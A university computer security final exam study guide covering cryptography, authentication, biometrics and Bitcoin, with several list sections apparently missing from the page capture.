pk.org: Computer Security/Exams

Final Exam Study Guide

The three-hour study guide for exam 3

Paul Krzyzanowski

Disclaimer: This study guide attempts to touch upon the most important topics that may be covered on the exam but does not claim to necessarily cover everything that one needs to know for the exam. Finally, don't take the three hour time window in the title literally.

Last update: Thu Dec 04 20:34:39 2025

Week 1: Foundations of Computer Security

Key terms

Computer security protects systems and data from unauthorized access, alteration, or destruction. The CIA Triad summarizes its core goals: confidentiality, integrity, and availability.

Confidentiality: Only authorized users can access information. Related terms:

Integrity: Ensures accuracy and trustworthiness of data and systems. Integrity includes data integrity (no unauthorized changes), origin integrity (verifying source), recipient integrity (ensuring correct destination), and system integrity (software/hardware functioning as intended). Authenticity is tied to integrity: verifying origin along with correctness.

Availability: Ensures systems and data are usable when needed.
Threats include DoS (Denial of Service) and DDoS (Distributed Denial of Service) attacks, hardware failures, and failed backups.

System Goals
Security systems aim at prevention, detection, and recovery. Prevention stops attacks, detection identifies them, and recovery restores systems after incidents. Forensics investigates what happened. Defense in Depth is a layered strategy that applies multiple overlapping defenses — technical, procedural, and sometimes physical. If one control fails, others still provide protection.

Policies, Mechanisms, and Assurance

Security Engineering and Risk Analysis
Security engineering balances cost, usability, and protection.
Risk analysis evaluates asset value, likelihood of attack, and potential costs. Tradeoffs matter: too much protection may reduce usability or become too costly.

Trusted Components and Boundaries

Human Factors People remain the weakest link. Weak passwords, poor training, and misaligned incentives undermine protection.

Threats, Vulnerabilities, and Attacks

A vulnerability is a weakness in software, hardware, or configuration. Examples include buffer overflows, default passwords, and weak encryption. Hardware-level flaws include Spectre, Meltdown, and Rowhammer.

An exploit is a tool or technique that leverages a vulnerability. An attack is the execution of an exploit with malicious intent.

An attack vector is the pathway used to deliver an exploit, such as email, websites, USB drives, or open network ports. The attack surface is the total set of possible entry points.

Not all vulnerabilities are technical. Social engineering manipulates people into granting access or revealing information. Phishing, spear phishing, pretexting, and baiting are common techniques. (This will be explored in more detail later in the course.)

A threat is the possibility of an attack, and a threat actor is the adversary who may carry it out. One useful classification, described by Ross Anderson, distinguishes threats as disclosure (unauthorized access), deception (false data), disruption (interruptions), and usurpation (unauthorized control). Related concepts include snooping, modification, masquerading, repudiation, denial of receipt, and delay.

The threat matrix distinguishes between opportunistic vs. targeted attacks and unskilled vs. skilled attackers (from script kiddies to advanced persistent threats).

The Internet amplifies risk by enabling action at a distance, anonymity, asymmetric force, automation at scale, global reach, and lack of distinction between malicious and normal traffic.

A botnet is a network of compromised machines controlled via a command and control server, used for spam, phishing, cryptocurrency mining, credential stuffing, or DDoS attacks.

Adversaries and Cyber Warfare

Behind every attack is an adversary. Adversaries differ in their goals, risk tolerance, resources, and expertise. Types include:

Economic incentives sustain underground markets where exploits, botnets, and stolen data are sold. Zero-day vulnerabilities can fetch high prices in closed broker markets. In contrast, bug bounty programs reward researchers for legal disclosure.

Advanced Persistent Threats (APTs) are advanced in their methods, persistent in maintaining access, and threatening in their ability to bypass defenses. They are typically state-backed and operate over months or years with stealth and patience.

Cyber warfare involves state-sponsored attacks on critical infrastructure and military systems.

Countermeasures include government and industry cooperation, international botnet takedowns, and intelligence sharing.

The implication is that cybersecurity affects all levels: national security, corporate security, and personal security. Cyber warfare blurs the line between peace and conflict. Attribution is difficult, and critical infrastructure, businesses, and individuals alike are potential targets.

Tracking Vulnerabilities and Risks

Why track vulnerabilities?
Early vulnerability reporting was inconsistent. The CVE system (1999) introduced standardized identifiers. CVSS added a way to score severity. Together, they form the backbone of how vulnerabilities are shared and prioritized.

CVE (Common Vulnerabilities and Exposures)
A unique identifier assigned to publicly disclosed vulnerabilities. Example: CVE-2021-44228 (Log4Shell).
CVSS (Common Vulnerability Scoring System)
A 0–10 scale for rating the severity of vulnerabilities, based on exploitability and impact. Scores are grouped into categories from Low to Critical.
Attribution challenges
Attackers obscure their origins, reuse tools, share infrastructure, and sometimes plant false flags. This makes it difficult to know with certainty who is behind an attack.
APT (Advanced Persistent Threat)
Well-funded, skilled groups (often state-backed) that carry out prolonged, targeted campaigns. Advanced = may use custom malware, zero-days, or sophisticated tradecraft; Persistent = long-term stealthy presence; Threat = ability to bypass defenses.

Week 2: Symmetric Cryptography

Foundations of Symmetric Cryptography

Why cryptography? Protect against passive adversaries (eavesdropping) and active adversaries (injection, modification, replay).

Goals:

Core terms. Plaintext (original readable data), ciphertext (the scrambled, unreadable output), cipher (the algorithm), key (the secret parameter that selects one transformation), encryption (converts plaintext into ciphertext), decryption (converts ciphertext back into plaintext), symmetric encryption (same secret key shared by sender and receiver). A cryptosystem is the complete framework that defines how encryption and decryption are carried out.

Kerckhoffs's Principle. A system must remain secure even if everything about it is public except the key. Prefer standardized, openly analyzed algorithms; avoid secrecy of design.

Schneier's Law. Anyone can design a cipher they cannot break; confidence comes only after broad, sustained public scrutiny.

Classical Ciphers (Substitution and Transposition)

Classical ciphers use hand (pencil-and-paper) methods that illustrate substitution (change symbols) and transposition (reorder symbols).

Caesar cipher. Shift letters by a fixed amount; trivial to brute force and defeat via frequency counts.

Monoalphabetic substitution. Any fixed mapping between characters; the keyspace is large (\(26!\)) but still breakable because the statistical structure of a language shows up in ciphertext. In English, E, T, A, O, I, N are common; Z, Q, X, J are rare; frequent digraphs TH, HE, IN and trigrams THE, AND stand out.

Frequency analysis. A cryptanalytic technique: compare the frequencies of single letters, digraphs, and trigraphs in ciphertext with the known statistics of a language to recover the substitution.

Polyalphabetic substitution cipher.
Uses multiple substitution alphabets instead of just one. The cipher switches between different mappings during encryption so that the same plaintext letter can encrypt to different ciphertext letters, breaking simple frequency analysis.

Transposition ciphers. Preserve letters, change order.

Some later ciphers, like Playfair and ADFGVX combine substitution and transposition.

Lessons from classical cryptosystems: Combining substitution and transposition helps, but hand systems leave structure to exploit. These methods motivated mechanized cryptography (rotor machines) and later, theory-driven designs that deliver confusion and diffusion deliberately.

Mechanized Cryptography (Rotor Machines)

Machines automated polyalphabetic substitution and enhanced its security, but the complexity alone did not guarantee security.

Rotor machine. A stack of wired wheels applies a changing substitution on each keystroke; the rightmost rotor steps like an odometer, so the mapping evolves continuously. The Enigma, used by the Germans during World War II, is the most famous of the rotor machines.

Enigma workflow. Type a letter, current rotor positions map it through three rotors, a reflector sends it back through the rotors on a different path, and a lamp shows the ciphertext. Same setup decrypts. The use of a reflector implies that no letter ever encrypts to itself, which weakens the security of the system (i.e., if you see an 'A' in the ciphertext, then you know it can't be an 'A').

Keyspace (why it's huge). Choose and order 3 rotors from 5 (60 ways), choose 26 starting positions for each rotor (\(26^3=17{,}576\)), and set a plugboard that swaps letter pairs (about \(10^{14}\) possibilities). The combined space exceeds \(10^{23}\).

Strength vs. practice. The rotors and a repetition period of 17,576 characters suppressed simple frequency patterns, but design quirks and operating procedures leaked structure. Analysts used cribs (predictable text like headers), the "no self-encryption" property, operator mistakes (repeating message keys, key reuse), traffic habits, captured codebooks, and electromechanical search (predecessors to computers: Polish bombas, British bombes designed by Turing and Welchman).

Mechanization increased complexity and throughput but not the proof of security. Operational discipline and small structural properties mattered.

Shannon, Perfect Secrecy, and Randomness

One-time pad (OTP). Encrypt by XORing plaintext with a truly random, one-time key of equal length: \(C = P \oplus K \quad \text{and} \quad P = C \oplus K\). This gives perfect secrecy if the key is random, at least as long as the message, independent of the plaintext, and never reused.

Why OTPs are rarely used. Generating, distributing, and storing keys as long as the message is impractical.

Shannon’s contribution. Two design properties for strong ciphers:

  1. Confusion: Nonlinear substitution hides the relationship between key and ciphertext.

  2. Diffusion: Structured mixing spreads each input bit across many output bits over multiple rounds.

Perfect vs. computational security. Perfect secrecy means the ciphertext reveals nothing about plaintext (like the OTP). In practice, we aim for computational security: no feasible attack with realistic resources.

Random vs. pseudorandom.

Shannon entropy (concept). Entropy measures unpredictability. High entropy keys resist guessing; good encryption removes observable structure so ciphertext looks random and does not compress well.

Modern Symmetric Cryptography

There are two families of ciphers in modern symmetric cryptography: block ciphers (encrypt fixed-size blocks) and stream ciphers (keystream ⊕ plaintext). Within block ciphers, there are two main designs: Feistel networks and substitution-permutation networks (SPNs)

Block ciphers

A block cipher is a keyed permutation on fixed-size blocks of data. Different keys give different permutations. Block ciphers are the workhorses of symmetric cryptography.

Most block ciphers are iterative: they apply the same round transformation repeatedly. Each round uses a round key (subkey) derived from the master key.

Rounds typically combine nonlinear substitution (S-boxes) with permutation or mixing steps (P-boxes or matrix operations).

Design goals:

Substitution-permutation networks (SPNs)

Feistel networks

DES and 3DES (historic examples)

DES (1977): The first U.S. encryption standard. A 16-round Feistel cipher with a 64-bit block and a 56-bit key. Hardware-friendly and influential, but the relatively short key length eventually made it vulnerable to brute force attacks.

AES (modern standard)

Modes of operation

Block cipher modes define how to use a block cipher on long messages. They specify how blocks are linked and how per-message values (IVs or nonces) are used to keep encryptions distinct.

AEAD: Authenticated Encryption with Associated Data: adding integrity checks to the encryption process. AEAD systems encrypt and return a tag so the receiver can detect and reject modified ciphertexts. We will cover integrity later; read AEAD as "encryption with a built-in tamper check." Think of it as generating ciphertext and a message authentication code (MAC) in one pass over the data.

Common pitfalls with cipher modes:

Stream ciphers

Stream ciphers model the idea of the one-time pad: generate a keystream and XOR it with plaintext. Instead of a pad as long as the message, they expand a short key and a nonce into a long pseudorandom sequence.

ChaCha20 is the most popular stream cipher today. To avoid the problem of reusing a key, ChaCha20 takes as input to its keystream generator a secret key as well as a random nonce (a random bunch of bits).

Most breakage with modern ciphers is via misuse (wrong mode, reused per-message input), not broken ciphers.

Quick reference

Name Type Block/stream Typical key sizes Notes
AES-128/192/256 SPN block cipher 128-bit block 128/192/256 Default choice; wide hardware support
ChaCha20-Poly1305 Stream + tag (AEAD) Stream 256 (cipher) Fast on CPUs without AES-NI; embedded-friendly
DES Feistel block 64-bit block 56 (effective) Legacy; brute-forceable
3DES (EDE2/EDE3) Feistel block 64-bit block 112/168 (nominal) Legacy

Equations to recognize (not memorize)


Principles of Good Cryptosystems

Foundations

Security properties

Practical requirements

Keys (operational reminders)

Quick rules

Common pitfalls

Introduction to Cryptanalysis

What is cryptanalysis? The art and science of breaking cryptographic systems. Used by both attackers (malicious goals) and security researchers (testing and strengthening algorithms). Goal: recover plaintext from ciphertext without authorized access to the key.

Core assumptions: Analysts typically know the encryption algorithm (following Kerckhoffs's principle) and have some idea of content type (German text, machine code, file headers, etc.).

Attack models (what the analyst can access)

Brute force attack

Exhaustive key search: trying every possible key until meaningful plaintext emerges. Sets the security baseline: \(n\)-bit key requires at most \(2^n\) attempts (average \(2^{n-1}\)). Becomes infeasible with sufficient key length (128+ bits).

Ciphertext-only attack (COA)

The analyst has only encrypted messages with no corresponding plaintext. Extremely difficult against modern ciphers. Historically used frequency analysis against simple substitution. Modern secure ciphers resist COA by producing statistically random-looking ciphertext.

Known plaintext attack (KPA)

The analyst has matching plaintext-ciphertext pairs but cannot choose the plaintext. Can study correlations between inputs and outputs to find patterns. Example: Breaking Enigma using stolen plaintext-ciphertext pairs and predictable message formats.

Chosen plaintext attack (CPA)

The analyst can select specific plaintexts and observe the resulting ciphertext. Reflects scenarios where attackers influence message content. Enables systematic testing of cipher behavior and probing for structural weaknesses. Modern cipher design considers CPA resistance essential.

Chosen ciphertext attack (CCA)

The analyst can submit ciphertext for decryption and observe plaintext or error responses. Example: Implementation bugs in CBC mode where systems respond differently to valid vs. invalid padding, eventually revealing complete plaintext. Highlights why confidentiality alone is insufficient—need authenticated encryption (AEAD).

Cryptanalytic techniques

Differential cryptanalysis

Examines how differences in plaintext inputs propagate through a cipher to produce differences in ciphertext outputs. Seeks non-random behavior revealing information about internal structure or key bits. Typically requires chosen plaintext access. Modern ciphers are specifically designed to resist differential attacks.

Linear cryptanalysis

Attempts to find linear approximations (XOR equations) connecting plaintext bits, ciphertext bits, and key bits with probability significantly different from 50%. Works effectively with known plaintext. Complements differential techniques. Both approaches rarely recover complete keys but can reduce brute force search space.

Side-channel analysis

Exploits physical information leaked during cryptographic operations: timing, power consumption, electromagnetic emissions, cache access patterns, fault injection. Attacks the implementation rather than the mathematical algorithm.

Examples:

Defenses: Constant-time implementations, masking/blinding, hardware countermeasures, avoiding secret-indexed table lookups.

Key points


Week 3: Public Key Cryptography and Integrity

Key Distribution Problem

The key distribution problem is the challenge of sharing a secret key securely over an insecure channel. Public key cryptography was developed to solve this.

One-Way Functions

A one-way function is easy to compute in one direction but computationally infeasible to reverse.

Trapdoor Function

A trapdoor function is a one-way function that becomes easy to invert if you know a secret value (the trapdoor). Public key cryptography relies on building trapdoor functions.

Public Key Cryptography

Public key cryptography uses a pair of keys:

RSA

RSA is based on the difficulty of factoring large numbers that are the product of two primes.

Elliptic Curve Cryptography (ECC)

ECC is based on the difficulty of solving discrete logarithms on elliptic curves.

Why not use public key cryptography for everything?

Public key cryptography is used for key exchange and signatures, not bulk encryption because of:

Cryptographic Hash Functions

A cryptographic hash function maps input of arbitrary length to a fixed-size output. Its key properties are:

Common hash functions: SHA-1 (obsolete), MD5 (obsolete), SHA-2 (SHA-256, SHA-512), bcrypt (designed to be slow).

Hash Collisions

A hash collision occurs when two different inputs produce the same hash.

Hash Collisions

A hash collision occurs when two different inputs produce the same hash output. Because hash functions compress large inputs into a fixed-size output, collisions are guaranteed in theory. The question is how likely they are in practice.

Cryptographic hashes use large output sizes, making collisions astronomically unlikely. With SHA-256 (256-bit output), a collision is expected after about \(2^{128}\) attempts. \(2^{128}\) is about \(3.4 \times 10^{38}\), an unimaginably large value. To put this in perspective: the odds of winning the Powerball jackpot once are about 1 in \(3 \times 10^{8}\). To match the improbability of finding a SHA-256 collision, you’d have to win the Powerball about five times in a row.

This shows why collisions are considered practically impossible for modern cryptographic hashes, unless the function itself is broken (as with MD5 and SHA-1, where researchers found methods to create collisions).

Message Authentication Code (MAC)

A Message Authentication Code (MAC) is a keyed hash: a function that takes both a message and a secret key as input. Only someone with the secret key can produce or verify the MAC.

This ensures integrity (the message has not been modified) and origin assurance (the message was generated by someone who knows the shared key). Unlike digital signatures, a MAC does not provide proof to outsiders of who created the message, since both sender and receiver share the same key.

Example: Alice and Bob share a secret key. Alice sends Bob the message PAY $100 and its MAC. Bob recomputes the MAC on the message using the shared key. If his result matches Alice’s, he knows the message was not altered and must have come from someone with the key.

Constructions of MACs:

Digital Signature

A digital signature is the public-key equivalent of a MAC, but it uses asymmetric keys instead of a shared secret.

Concept:
Signing: the sender creates a hash of the message and encrypts that hash with their private key.
Verification: the receiver decrypts the signature with the sender’s public key and compares it with a newly computed hash of the message. If they match, the message has not been altered and must have come from the claimed sender.
- Unlike MACs, digital signatures provide authentication and non-repudiation: only the holder of the private key could have generated the signature, and the sender cannot later deny it.

Example: Alice sends Bob the message TRANSFER $500 along with its signature. Bob verifies the signature using Alice’s public key. If it checks out, Bob knows the message is intact and was created by Alice.

Digital signature algorithms: In practice, specialized algorithms exist just for signing. Examples include DSA, ECDSA, and EdDSA. These algorithms are applied to the hash of the message rather than the message itself for efficiency.

MACs vs. Signatures

X.509 Certificates

An X.509 certificate (often just called a digital certificate) binds a public key to the identity of an individual, organization, or website.

A certificate contains information such as the subject’s name, the subject’s public key, the issuer’s identity, and a validity period.

A Certificate Authority (CA) digitally signs the certificate using its own private key. Anyone who trusts the CA can verify the certificate by checking that signature with the CA’s public key. Certificates provide assurance that a public key truly belongs to the entity it claims.

Example: When you visit https://example.com, your browser receives the site’s X.509 certificate. It verifies that the certificate was signed by a trusted CA. If valid, your browser knows the server’s public key really belongs to that website.

Certificates are essential in TLS, where they allow clients to verify the identity of servers before exchanging keys.

Diffie-Hellman Key Exchange (DHKE)

DHKE allows two parties to establish a shared secret over an insecure channel.

Each party uses a private key and a corresponding public value to derive the shared secret. The algorithm is based on the one-way function ax mod p.

Elliptic Curve Diffie-Hellman (ECDH) uses elliptic curves but behaves the same way.

While general-purpose public key algorithms, such as RSA and ECC, can perform this function, DHKE is usually used because generating public and private keys is much faster and the algorithm is efficient in generating a common key.

Hybrid Cryptosystem

A hybrid cryptosystem combines public key cryptography with symmetric key cryptography. Public key methods are slow, so they are typically used only to exchange a session key. Once the session key is established, both sides switch to symmetric encryption (like AES) for the actual communication, which is much faster.

A session key is a temporary symmetric key that secures communication for the duration of one session. When the session ends, the session key is discarded. If an attacker records the traffic, they cannot decrypt it later without the specific session key that was used at the time.

Forward secrecy means that even if a long-term private key is stolen in the future, past communications remain secure. This works because each session uses its own independent session key. The long-term key is only used to authenticate or establish the exchange, not to encrypt bulk data.

An ephemeral key is a temporary public/private key pair generated for a single session (or even a single exchange). Ephemeral keys are often used in protocols like Ephemeral Diffie-Hellman (DHE). The shared secret derived from the ephemeral key exchange is used to create the session key.

Ephemeral keys and session keys are closely related: the ephemeral key exchange produces the session key. In some contexts, the term “ephemeral key” is used interchangeably with “session key,” but more precisely:

Example: In TLS with Ephemeral Diffie-Hellman, the server and client each generate ephemeral keys for the exchange. From those, they derive a shared session key. The ephemeral keys are discarded after the session ends, ensuring forward secrecy.

Quantum Attacks

Quantum attacks use quantum algorithms that can break many current public key systems.

New post-quantum algorithms have been recently developed (and continue to be developed) that are resistant to these quantum attacks.

Transport Layer Security (TLS)

TLS is the protocol that secures communication on the web. It combines several cryptographic tools:


Week 4: Authentication

Core Concepts

Identification, Authentication, Authorization
Identification is claiming an identity (such as giving a username). Authentication is proving that claim (such as showing a password or key). Authorization comes afterward and determines what actions the authenticated party may perform.

Pre-shared keys and Session keys
A pre-shared key is a long-term secret shared in advance between two parties and often used with a trusted server. A session key is temporary and unique to one session, which reduces exposure if the key is compromised.

Mutual authentication
Protocols often require both sides to prove they know the shared secret, not just one. This ensures that neither side is tricked by an impostor.

Trusted third party (Trent)
Some protocols rely on a trusted server that shares long-term keys with users and helps them establish session keys with each other.

Nonces, Timestamps, and Session identifiers
These are ways to prove freshness:

Replay attack
An attacker may try to reuse an old ticket or session key. Without freshness checks, the receiver cannot tell the difference and may accept stale credentials.

Symmetric Key Protocols

These use a trusted third party (Trent) to distribute or relay session keys. Alice asks Trent for a key to talk to Bob, Trent provides one (encrypted with Alice's secret key) along with a ticket for Bob. The ticket contains the same session key encrypted with Bob's key. It's meaningless to Alice but she can send it to Bob, who can prove that he was able to decrypt it.

Needham–Schroeder
Adds nonces to confirm that a session key is fresh. Alice asks Trent for a key to talk to Bob and includes a random number (a nonce) in the request. Trent provides the session key along with a ticket for Bob. Alice knows it's a fresh response when she decrypts the message because it contains the same nonce. Weakness: if an old session key is exposed, an attacker can replay a ticket and impersonate Alice. Vulnerable if old session keys are exposed.

Denning–Sacco
Fixes the replay problem of an attacker replaying part of the protocol using an old compromised session key by using timestamps in tickets so Bob can reject replays. Bob checks that the timestamp is recent before accepting. This blocks replays but requires synchronized clocks.

Otway–Rees
Uses a session identifier carried in every message. Nonces from Alice and Bob, plus the identifier, prove that the session is unique and fresh. No synchronized clocks are required.

Kerberos

Kerberos is a practical system that puts the Denning–Sacco idea into operation: it uses tickets combined with timestamps to prevent replay attacks. Instead of sending passwords across the network, the user authenticates once with a password-derived key to an Authentication Server (AS). The AS returns a ticket and a session key for talking to the Ticket Granting Server (TGS).

With the TGS ticket, the user can request service tickets for any server on the network. Each service ticket contains a session key for the client and the server to use. To prove freshness, the client also sends a timestamp encrypted with the session key. The server checks the timestamp and replies with T+1.

This structure allows single sign-on: after authenticating once, the user can access many services without re-entering a password. Kerberos thus combines the principles of Denning–Sacco with a scalable ticketing infrastructure suitable for enterprise networks.

Properties:

Public Key Authentication

Public key cryptography removes the need for Trent. If Alice knows Bob’s public key, she can create a session key and encrypt it for Bob. Certificates bind public keys to identities, solving the problem of trust. In TLS, which we studied earlier, the server’s certificate authenticates its key. An ephemeral exchange (e.g., Diffie-Hellman) creates fresh session keys that ensure forward secrecy: past sessions remain secure even if a long-term private key is later stolen.

Password-Based Protocols

PAP (Password Authentication Protocol)
The client sends the password directly to the server. This is insecure because the password can be intercepted and reused.

CHAP (Challenge–Handshake Authentication Protocol)
The server sends the client a random value called a nonce. The client combines this nonce with its password and returns a hash of the result. The server performs the same calculation to verify it matches. The password itself never crosses the network, and replay is prevented because each challenge is different. CHAP still depends on the password being strong enough to resist guessing. Unlike challenge-based one-time passwords (covered later), CHAP relies on a static password reused across logins, not a device that generates one-time codes.

How Passwords Are Stored

Systems do not store passwords in plaintext. Instead, they store hashes: one-way transformations of the password. At login, the system hashes the candidate password and compares it to the stored value. This prevents an immediate leak of all passwords if a file is stolen, but the hashes are still vulnerable to offline guessing.

Weaknesses of Passwords

Systems do not store passwords in plaintext because that would reveal every user’s secret to anyone who obtained the file. Instead, they store hashes of passwords and compare hashes at login.

Online vs. offline guessing
Online guessing means trying passwords directly against a login prompt. Defenses include rate-limiting and account lockouts. Offline guessing happens if an attacker steals the password file; they can test guesses at unlimited speed with no lockouts, which is much more dangerous.

Dictionary attack
The attacker tries a large list of likely passwords. Online, this means repeated login attempts. Offline, it means hashing guesses and comparing against stored hashes.

Rainbow table attack
The attacker precomputes tables of password→hash pairs for a given hash function. A stolen password file can be cracked quickly with a lookup. Rainbow tables only work if hashes are unsalted.

Credential stuffing
Attackers take username/password pairs stolen from one site and try them against other services, hoping users have reused the same password.

Password spraying
Instead of many guesses against one account, attackers try one or a few common passwords across many accounts, avoiding lockouts.

Mitigations

Defenses focus on making stolen data less useful and slowing attackers.

Salts
A random value stored with each password hash. Two users with the same password will have different hashes if their salts differ. Salts make rainbow tables impractical.

Slow hashing functions
Deliberately expensive functions (bcrypt, scrypt, yescrypt) make each hash slower to compute, which hinders brute-force guessing but is barely noticeable for a user login.

Transport protection
Passwords should always travel over encrypted channels (TLS) to prevent interception.

Multi-factor authentication
A second factor (OTP, push, passkey) prevents a stolen password from being enough on its own.

Password policies
Block weak or previously breached passwords, enforce rate limits, and monitor for unusual login activity.

One-Time Passwords (OTPs)

Static passwords can be replayed. One-time password systems generate a new password for each login. The goal is to never reuse a password.

There are four main forms of one-time passwords:

  1. Sequence-based: derived from repeatedly applying a one-way function.

  2. Challenge-based: derived from a random challenge from the server and a shared secret.

  3. Counter-based: derived from a shared counter and a secret.

  4. Time-based: derived from the current time slice and a secret.

S/Key (sequence-based)
S/Key creates a sequence of values by starting from a random seed and applying a one-way function to each successive value. The server stores only the last value in the sequence. At login, the user provides the previous value, which the server can verify by applying the function once. Each login consumes one value, moving backward through the sequence. Even if an attacker sees a value, they cannot work out earlier ones because the function cannot be reversed.

Challenge-based OTP
The server issues a fresh challenge, and the user’s token or app computes a one-time response from the challenge and a secret. Replay is useless because each challenge is unique. This differs from CHAP: in CHAP the secret is a static password reused across logins, while in challenge-based OTPs the secret is stored in a device that proves possession.

HOTP (counter-based)
The server and client share a secret key and a counter. Each login uses the next counter value to generate a code with HMAC. Both sides must stay roughly in sync.

TOTP (time-based)
Like HOTP, but the counter is the current time slice (commonly 30 seconds). Codes expire quickly, making replays useless. Widely used in mobile authenticator apps (like Google Authenticator).

Multi-Factor Authentication (MFA)

MFA requires factors from different categories: something you know (password), something you have (token or phone), and something you are (biometrics).

One-time passwords (OTPs)
Codes generated by a device or app that prove you have a specific token or phone. They are short-lived and cannot be reused, making them a common possession factor.

Push notifications
Send a prompt to the user’s phone but are vulnerable to MFA fatigue, where attackers flood the user with requests hoping for one accidental approval.

Number matching
Improves push MFA by requiring the user to type in a number shown on the login screen, linking the approval to that specific login attempt.

--

Passkeys

MFA improves security but still relies on passwords as one factor, and phishing can sometimes bypass second factors. Passkeys eliminate passwords entirely. Each device generates a per-site key pair: the private key stays on the device, and the public key is stored with the service. At login, the device signs a challenge with the private key. Passkeys are unique per site, cannot be phished, and can be synchronized across devices.

Adversary-in-the-Middle Attacks

An adversary-in-the-middle sits between a client and a server, relaying and possibly altering traffic.

Defenses:


Week 4: Biometric authentication

Pattern Recognition and Thresholds

Biometric systems are pattern recognizers, not equality checks. Each sample is slightly different from the stored template, so the system computes a similarity score. Whether access is granted depends on a threshold: too strict, and genuine users are rejected; too loose, and impostors may slip through.

FAR, FRR, and ROC

Two common error rates define biometric performance. The False Accept Rate (FAR) is the chance an impostor is accepted. The False Reject Rate (FRR) is the chance a genuine user is denied. These trade off against each other as thresholds change.

A Receiver Operating Characteristic (ROC) plot shows this trade-off, and the Equal Error Rate is where the two curves meet.

Modalities and Features

Biometric traits may be physiological (fingerprints, iris, face) or behavioral (voice, typing rhythm, gait). Fingerprint systems look for minutiae such as ridge endings and bifurcations, while other modalities rely on different feature sets. Each trait balances robustness (how repeatable it is for the same person) against distinctiveness (how well it separates different people).

The Authentication Process

All biometric systems follow the same pipeline. During enrollment, the system captures high-quality samples to build a template. At login, the sensor records new data, and feature extraction turns it into a compact representation. Pattern matching compares this to the stored template, and the decision applies the threshold to accept or reject.

Challenges

Biometric systems face several practical challenges. Devices must be trusted, with secure data paths that cannot be tampered with.

Liveness detection is needed to block photos, prosthetics, or recordings.

Secure communication prevents injection of fake sensor data. Thresholds must be chosen carefully to balance FAR and FRR.

More fundamentally, biometrics lack compartmentalization: you cannot use a different fingerprint for each service. They do not offer true revocation once a trait is stolen.

Cooperative vs. Non-Cooperative Systems

In cooperative systems, the subject is willing and positioned correctly, as in unlocking a phone. Non-cooperative systems try to identify people at a distance or without consent, as in surveillance. These face greater challenges in data quality, error rates, and privacy.


Week 5: Hash Pointers, Blockchains, Merkle Trees, and Bitcoin

Cryptographic Foundations

Bitcoin's trust model depends on cryptographic hash functions and authenticated data structures.

A hash function such as SHA-256 converts any input into a fixed-length digest that changes unpredictably when even one bit of input changes.
Hashing enables Bitcoin to verify data integrity, detect tampering, and provide compact digital fingerprints.

A hash pointer is a pointer that also stores a hash of the referenced data.
If the data changes, the hash no longer matches, revealing tampering.
Hash pointers are used in systems such as Git, where each commit points to the hash of its parent commit.
A change in any file causes the commit hash to change, and this change propagates through history.

The blockchain uses the same idea. Each block includes the hash of the previous block's header.
If an attacker modifies one block, every later block becomes invalid because the hashes no longer align.

A Merkle tree organizes data into a binary tree of hashes.
Each internal node stores the hash of its two children, and the root hash commits to all the data below it.
Merkle trees make it possible to verify that a transaction or file is included in a dataset without retrieving everything.
They are used in many systems:

The Double-Spending Problem

With physical cash, you cannot spend the same bill twice—once you hand it over, you no longer have it.
Digital files, however, can be copied infinitely.
Without a trusted authority to verify transactions, how do we prevent someone from sending the same bitcoin to two different people?

Traditional systems solve this with a central authority: a bank verifies that you have sufficient funds before approving a transaction.
Bitcoin solves it through its distributed ledger and consensus mechanism: all nodes maintain a complete transaction history and agree on which transactions are valid.

The Distributed Ledger

Bitcoin's ledger is not stored in one place. Instead, it is a distributed ledger: tens of thousands of nodes around the world each maintain a complete, independent copy of the entire transaction history.

This is not a fragmented database where different nodes hold different pieces.
Every participating node stores the full ledger, from the very first transaction in 2009 to the most recent block.
When a new block is added, it propagates across the network, and each node independently verifies and appends it to their local copy.

Nodes can verify they have the correct ledger by comparing block hashes with other nodes.
Because the blockchain is tamper-evident, any discrepancy in block hashes immediately reveals that someone has a corrupted or fraudulent copy.

This redundancy is central to Bitcoin's resilience.
There is no single point of failure, no server to shut down, and no organization that controls the data.
As long as even a handful of nodes remain online, the ledger persists.

The Ledger: Transactions vs. Accounts

Banking systems maintain account balances that change as money moves between accounts.
Bitcoin takes a different approach. It does not track balances but records every transaction ever made.
The current state of the system is the set of unspent transaction outputs (UTXOs).

Each Bitcoin transaction consumes prior outputs as inputs and creates new outputs that represent new ownership records.

Example:

This model ensures that:

Keys and Addresses

Ownership and authorization in Bitcoin rely on public-key cryptography.
Each user generates a key pair:

There are no usernames or real-world identities on the blockchain.
A user proves ownership simply by producing a valid digital signature with the correct private key.

Bitcoin uses addresses as compact, safer representations of public keys.
Addresses are derived from public keys by hashing them, adding a checksum, and encoding the result in a readable format.
They are used in transaction outputs to specify who can spend a given output.

When a recipient later spends funds, they reveal their public key and signature, allowing others to verify that it matches the address in the earlier transaction.
This system keeps participants pseudonymous while ensuring that only authorized users can spend funds.

Transactions

A Bitcoin transaction contains inputs and outputs. Inputs identify where the bitcoin comes from, and outputs identify to whom it is being transferred.
Each input references an earlier transaction output and provides a digital signature and public key as proof of ownership.
Outputs specify the recipient's address and amount.

Every input must be completely spent, so transactions often include a change output that returns excess funds to the sender.
The small difference between total inputs and outputs becomes the transaction fee, which goes to the miner who includes the transaction in a block.

When a transaction is created, it is broadcast to nearby Bitcoin nodes and propagated across the network within seconds.
Nodes independently verify each transaction by checking signatures, ensuring that referenced outputs exist and have not been spent, and validating the total value.
Once validated, transactions wait in a pool until included in a block.

Blocks and Linking

Transactions are grouped into blocks to simplify verification and synchronization.
A block bundles many transactions and links to the previous block, forming a continuous chain.

Each block has two main parts:

Changing any transaction alters its hash, which changes the Merkle root, the block hash, and every later block's reference.
Because each block depends on the one before it, the blockchain acts as an append-only, tamper-evident ledger.

What is Mining?

Mining is the process by which new blocks are added to the Bitcoin blockchain.
Miners are specialized nodes that collect valid transactions from the network, bundle them into a candidate block, and compete to publish that block by solving a computational puzzle.

The miner who successfully solves the puzzle first gets to add their block to the chain and receives a reward consisting of:

Mining serves two critical purposes:

  1. It creates new bitcoins in a controlled, predictable way

  2. It secures the network by making it computationally expensive to alter transaction history

Proof of Work and the Mining Puzzle

Bitcoin uses Proof of Work to determine which miner can publish the next block.
The mining puzzle requires finding a nonce (a number in the block header) such that the SHA-256 hash of the entire block header is less than a specific threshold called the target hash.

Formally: H(block header) < target hash, where H represents the SHA-256 hash function.

The target hash is a 256-bit number that determines how difficult it is to mine a new block.
The lower the target hash, the harder it is to find a valid solution.
Because hash outputs are unpredictable, miners must try billions or trillions of different nonce values until they find one that produces a hash below the target.

This process is computationally expensive but easy to verify.
Once a miner finds a valid nonce, any node can instantly verify the solution by computing a single hash.

The Difficulty Adjustment Algorithm

